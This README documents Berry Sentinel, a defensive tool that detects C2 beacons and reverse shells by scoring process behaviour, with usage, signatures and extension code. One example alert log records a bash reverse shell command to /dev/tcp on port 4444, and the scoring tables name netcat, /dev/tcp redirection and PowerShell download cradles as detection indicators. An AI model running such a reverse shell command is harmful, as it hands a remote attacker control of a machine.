
Berry Sentinel v5.0 — Linux/Windows/Unixシステム向けの高度な行動ベースC2・リバースシェル検出器。リアルタイム接続分析、ヒューリスティックスコアリング、C2フレームワークシグネチャ検出、ビーコン間隔分析、プロセスキルエンジンを備えたインタラクティブなcursesベースTUIを搭載。
リアルタイムC2(Command & Control)接続の行動検出器
Zero-signature · Bulletproof Collection · Deep Scan · Kill Engine
Berry Sentinelは、システム上のすべてのアクティブなネットワーク接続を監視し、それらを生成するプロセスの振る舞いを分析して悪意のある活動を検出します — アンチウイルスの署名データベースやブロックされたIPリストは使用しません。
リバースシェル、ウェブシェル、RAT、C2ビーコン、およびMeterpreter、Cobalt Strike、Sliver、Empireなどのフレームワークを、プロセスの振る舞い方を観察することで検出します。Pythonインタプリタのstdinがリモートソケットに接続されている場合、IPが不明でもそれは疑わしいと判断します。
╔══════════════════════════════════════════════════════════════════════════════════╗
║ BERRY SENTINEL v5.0 — Detector Conductual C2 · TUI Interactivo ║
║ Conexiones: 38 │ Amenazas: 2 │ Firmas: 1 │ via proc/open+ss │ 12ms │ #47 ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ ID SEV PTS PID PROC REMOTO ESTADO FIRMAS/TAGS ║
╠══════════════════════════════════════════════════════════════════════════════════╣
║ 3 █CRÍTICO 85 1337 bash 1.2.3.4:4444 ESTAB ⚑Meterpreter SHELL→NET. ║
║ 7 ▲ALTO 52 2048 python3 5.6.7.8:8443 ESTAB TLS-NOBR BCN(60s) ║
╚══════════════════════════════════════════════════════════════════════════════════╝
psutilはオプションで追加カバレッジを提供# リポジトリのクローン
git clone https://github.com/dereeqw/BerrySentinel.git
cd BerrySentinel
# (推奨)psutilのインストール
pip install psutil
# 実行
python3 BerrySentinel.py
pkg install python
pip install psutil
python3 BerrySentinel.py --no-tui # Termuxではcursesが利用できない場合があります
curl -O https://raw.githubusercontent.com/dereeqw/BerrySentinel/main/BerrySentinel.py
python3 BerrySentinel.py
python3 BerrySentinel.py [オプション]
オプション:
--all, -a ローカル/ループバック接続も含める(リモートに加えて)
--interval N, -i N N秒ごとに更新(デフォルト: 2、最小: 0.5)
--log FILE, -l FILE アラートをファイルに保存(JSONL形式)
--json, -j 終了時に完全なJSONをエクスポート
--whitelist LISTA 無視するIPまたはCIDR(カンマ区切り)
--no-color ANSIカラーなし(パイプやログに便利)
--verbose, -v 疑わしいものだけでなく、すべての接続を表示
--top N, -t N テーブルの最大行数(デフォルト: 50)
--diag, -d 診断:どの収集方法が機能しているかを表示
--no-tui cursesを使用しないレガシーモード(クラシックなスクロール、より移植性が高い)
--version, -V バージョンを表示して終了
# 対話型TUI — 推奨モード
python3 BerrySentinel.py
# rootでディープスキャン(プロセスメモリにアクセス)
sudo python3 BerrySentinel.py --all
# アラートを保存し、終了時にJSONをエクスポート
python3 BerrySentinel.py --log /var/log/sentinel.log --json
# 内部ネットワークを無視し、5秒ごとに更新
python3 BerrySentinel.py --whitelist 192.168.0.0/16,10.0.0.0/8 --interval 5
# スクリプトや対話型端末のないSSHで使用するためのテキストモード
python3 BerrySentinel.py --no-tui --no-color | tee monitoring.txt
# 現在のシステムでどの収集方法が機能しているかを確認
python3 BerrySentinel.py --diag --no-tui
# 重大なアラートのみ、10秒ごとに更新、ログを保存
sudo python3 BerrySentinel.py --all --interval 10 --log sentinel.log --json
各接続には、検出された指標に基づいて0から100のスコアが割り当てられます:
スコアに基づく深刻度:
Berry Sentinelは、以下のフレームワークのシグネチャを含みます(ポート、プロセス名、コマンドライン、ビーコンパターンによる評価):
各アラートは独立したJSON行として記録されます:
{
"ts": "2025-07-15T14:23:01.123456",
"id": 42,
"sev": "CRÍTICO",
"score": 85.0,
"pid": 1337,
"name": "bash",
"cmd": "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1",
"remote": "1.2.3.4:4444",
"local": "192.168.1.10:52341",
"state": "ESTABLISHED",
"tags": ["SHELL→NET", "PIPE-REDIR", "C2P(4444)"],
"sigs": ["Meterpreter"],
"src": "proc/open(self)+ss+netstat"
}
jqで処理:
# クリティカルな接続のみフィルタ
jq 'select(.sev == "CRÍTICO")' sentinel.log
# すべての疑わしいPIDを表示
jq '[.pid] | unique' sentinel_export.json
# 特定のシグネチャで検索
jq 'select(.sigs | contains(["CobaltStrike"]))' sentinel.log
BerrySentinel.py
├── グローバル定数
│ ├── SHELL_BINS, SCRIPT_ENGINES — シェルとインタプリタの名前
│ ├── C2_SUSPECT_PORTS — 一般的なC2ポート
│ ├── PRIVATE_NETS — プライベートIP範囲
│ └── C2_SIGNATURES — 既知のフレームワークシグネチャ
│
├── データモデル
│ ├── C2Signature — C2シグネチャの定義
│ ├── ProcInfo — OSプロセス情報
│ ├── Conn — ネットワーク接続+分析結果
│ └── BeaconTracker — C2ビーコン検出器
│
├── データ収集
│ ├── Collector — 複数のネットワークソースを統括
│ ├── parse_proc_net_content() — /proc/net/* パーサー
│ ├── build_inode_pid_map() — inode→PIDマップ
│ ├── get_proc_info() — /proc経由のプロセス情報
│ └── get_proc_info_psutil() — psutil経由のプロセス情報
│
├── 分析
│ ├── Engine.analyze() — スコア+行動タグ
│ ├── Engine._beacon() — ビーコン検出
│ └── match_signatures() — C2シグネチャマッチング
│
├── 出力
│ ├── CursesTUI — 対話型TUI(デフォルトモード)
│ ├── LegacyTUI — cursesなしのANSI出力(フォールバック)
│ └── Logger — ディスクへのJSONLログ
│
└── Sentinel — メインオーケストレーター
psutil — オプションですが強く推奨(pip install psutil)追加の依存関係がなくてもツールはPythonのstdlibで動作します。psutilは、/procが存在しないmacOSやWindowsでカバレッジを追加します。
from BerrySentinel import C2Signature, C2_SIGNATURES
mi_rat = C2Signature(
name="MiRAT",
description="RAT interno corporativo no autorizado",
score_bonus=70,
checks=[
{"type": "port", "value": 6543},
{"type": "cmdline", "value": r"mi_rat\.py|rat_agent"},
{"type": "procname", "value": r"^mi_rat$"},
],
)
C2_SIGNATURES.append(mi_rat)
import argparse
from BerrySentinel import Sentinel, Sev
args = argparse.Namespace(
all=True, interval=10, log=None, json=False,
whitelist="192.168.0.0/16", no_color=True,
verbose=False, top=100, diag=False, no_tui=True
)
s = Sentinel(args)
s._cycle_data()
for conn in s.last_conns:
if conn.severity >= Sev.HIGH:
proc = conn.proc
print(f"[ALERTA] PID {conn.pid} ({proc.name if proc else '?'}) "
f"→ {conn.remote_addr}:{conn.remote_port} "
f"score={conn.score:.0f} tags={conn.tags}")
from BerrySentinel import Engine, Conn, Sev
class MiEngine(Engine):
KNOWN_C2_IPS = {"203.0.113.1", "198.51.100.42"}
def analyze(self, c: Conn) -> Conn:
c = super().analyze(c)
# 独自のロジックを追加
if c.remote_addr in self.KNOWN_C2_IPS:
c.score = min(c.score + 40, 100)
c.tags.append("KNOWN-IOC-IP")
c.severity = Sev.CRITICAL
return c
Berry Sentinelは、自身のシステムまたは明示的な許可を得たシステムを監視するために設計されています。キルエンジンはユーザーが明示的に要求した場合にのみ動作します。責任を持って、該当する法令に従って使用してください。
MIT — LICENSEを参照
| キー | アクション |
|---|
↑ / ↓ | 接続間を移動 |
d / D | 選択した接続の詳細パネルを表示 |
k / K | プロセスを強制終了(PIDの確認を求める) |
f / F | 深刻度フィルタを循環:ALL → MEDIO → ALTO → CRÍTICO |
r | 即時更新を強制 |
ESC | 詳細パネルを閉じるか操作をキャンセル |
q | 終了 |
| 指標 | ポイント | タグ |
|---|
| stdin/stdout → ソケット | +55 | FD→SOCK |
| リモート接続を持つバイナリシェル | +40 | SHELL→NET |
| ウェブシェル(Apache/Nginxの子プロセスとしてのシェル) | +35 | WEBSHELL |
| 高ポートでのバインドシェル | +35 | BIND-SHELL |
| netcat/socatの使用 | +35 | NETCAT |
/dev/tcp または mkfifo によるリダイレクト | +40 | PIPE-REDIR |
| ディスクから削除された実行ファイル | +25 | EXE-DEL! |
/tmp または /dev/shm にある実行ファイル | +15 | EXE-TMP |
| ビーコン検出(周期的な接続) | +25×信頼度 | BCN(60s) |
| Meterpreterシグネチャ | +55 | SIG:Meterpreter |
| Cobalt Strikeシグネチャ | +60 | SIG:CobaltStrike |
| Sliverシグネチャ | +58 | SIG:Sliver |
| RWXメモリ領域 | +20 | RWX(N) |
| LD_PRELOAD または HISTFILE=/dev/null | +10 | ENV:LD_PRELOAD |
| スクリプトインタプリタが接続中 | +25 | INTERP→NET |
| コマンドラインでのeval/exec | +18 | EVAL |
| リモートPowerShell(IEX、DownloadString) | +30 | PS-REM |
| スコア | 深刻度 | 色 |
|---|
| ≥ 65 | クリティカル | 🔴 明るい赤 |
| ≥ 45 | 高 | 🟠 オレンジ |
| ≥ 25 | 中 | 🟡 黄 |
| ≥ 8 | 低 | 🔵 シアン |
| < 8 | 情報 | ⚪ グレー |
| フレームワーク | スコアボーナス | 主要な指標 |
|---|
| Meterpreter | +55 | ポート4444、プロセスruby/msfconsole |
| Cobalt Strike | +60 | ポート50050、ビーコン約60秒、プロセスjava |
| Sliver | +58 | ポート31337/8888、ビーコン約60秒 |
| Empire | +55 | ポート1234/7777、PowerShell -enc |
| Brute Ratel | +62 | ポート2083、プロセスbadger |
| Havoc | +58 | ポート40056、demon.x64/x86 |
| Pupy RAT | +52 | ポート9999、pupy.py |
| Merlin | +54 | ポート8443、merlin-agent |
| Covenant | +54 | ポート7443、GruntHTTP |
| PoshC2 | +52 | FComServer、ImplantCore |
| Mythic | +56 | ポート7443、poseidon/apfell |
| QuasarRAT | +50 | ポート4782-4785 |
| NetcatShell | +45 | socat exec bash、pty |
| DNS-C2 | +40 | ポート53、dnscat/iodine |
| システム | サポート | 備考 |
|---|
| Linux | ✅ 完全 | rootでディープスキャン有効 |
| Android/Termux | ✅ 完全 | cursesが失敗する場合は--no-tuiを使用 |
| macOS | ⚠️ 部分的 | /procなし; netstat+psutilを使用 |
| Windows | ⚠️ 部分的 | netstat+psutil、メモリ分析なし |